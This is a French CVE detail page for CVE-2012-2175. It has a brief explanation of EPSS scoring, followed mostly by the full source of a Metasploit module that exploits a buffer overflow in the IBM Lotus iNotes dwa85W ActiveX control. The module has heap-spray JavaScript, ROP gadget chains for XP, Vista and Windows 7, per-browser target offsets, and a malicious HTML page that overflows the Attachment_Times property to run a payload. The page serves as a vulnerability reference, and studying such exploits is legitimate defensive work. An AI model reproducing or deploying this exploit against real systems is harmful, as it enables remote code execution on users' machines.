CVE-2012-2175 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank, :classid => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}", :method => "Attachment_Times" }) def initialize(info={}) super(update_info(info, 'Name' => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow vulnerability on the UploadControl ActiveX. The vulnerability exists in the handling of the "Attachment_Times" property, due to the insecure usage of the _swscanf. The affected ActiveX is provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer. This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7, using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3. In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one is installed with the iNotes ActiveX. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gaurav Baruah', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-2175'], [ 'OSVDB', '82755' ], [ 'BID', '53879' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ] ], 'Payload' => { 'Space' => 978, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # dwa85W.dll 85.3.3.0 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows Vista', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll [ 'IE 8 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll [ 'IE 9 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ] # pop eax # ret # dwabho.dll ], 'Privileged' => false, 'DisclosureDate' => "Jun 01 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) # Land the payload at 0x0c0c0c0c case my_target when targets[7] # IE 9 on Windows 7 js = %Q| function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_random_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{my_target['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } | else # For IE 6, 7, 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'}) else print_status("Using dwabho.dll ROP") # gadgets from dwabho.dll, using mona.py rop_payload = [ 0x1000f765, # POP EAX # RETN 0x1001a22c, # ptr to &VirtualAlloc() [IAT dwabho.dll] 0x10010394, # JMP DWORD PTR DS:[EAX] 0x0c0c0c2c, # ret after VirtualAlloc 0x0c0c0c2c, # lpAddress 0x00000400, # dwSize 0x00001000, # flAllocationType 0x00000040 # flProtect ].pack("V*") rop_payload << code end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) bof = rand_text_alpha(552) # offset to eip bof << [my_target.ret].pack("V") case my_target['Rop'] when :msvcrt bof << rand_text_alpha(4) bof << [0x0c0c0c0c].pack("V") # new ESP when :notes bof << rand_text_alpha(4) bof << [0x0c0c0c00].pack("V") # eax bof << [0x1000f49a].pack("V") # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll bof << [0x0c0c0c04].pack("V") # new ESP end my_bof = Rex::Text.to_unescape(bof) html = %Q| <html> <head> <script> #{js} </script> </head> <body> <object id="UploadControl" width="100%" height="100%" classid="clsid:0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C"> <param name="General_Mode" value="1"> <param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}"> </object> <script> var bof = unescape("#{my_bof}"); var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} "; my_time += bof; my_time += " GMT"; UploadControl.Attachment_Times = my_time; </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end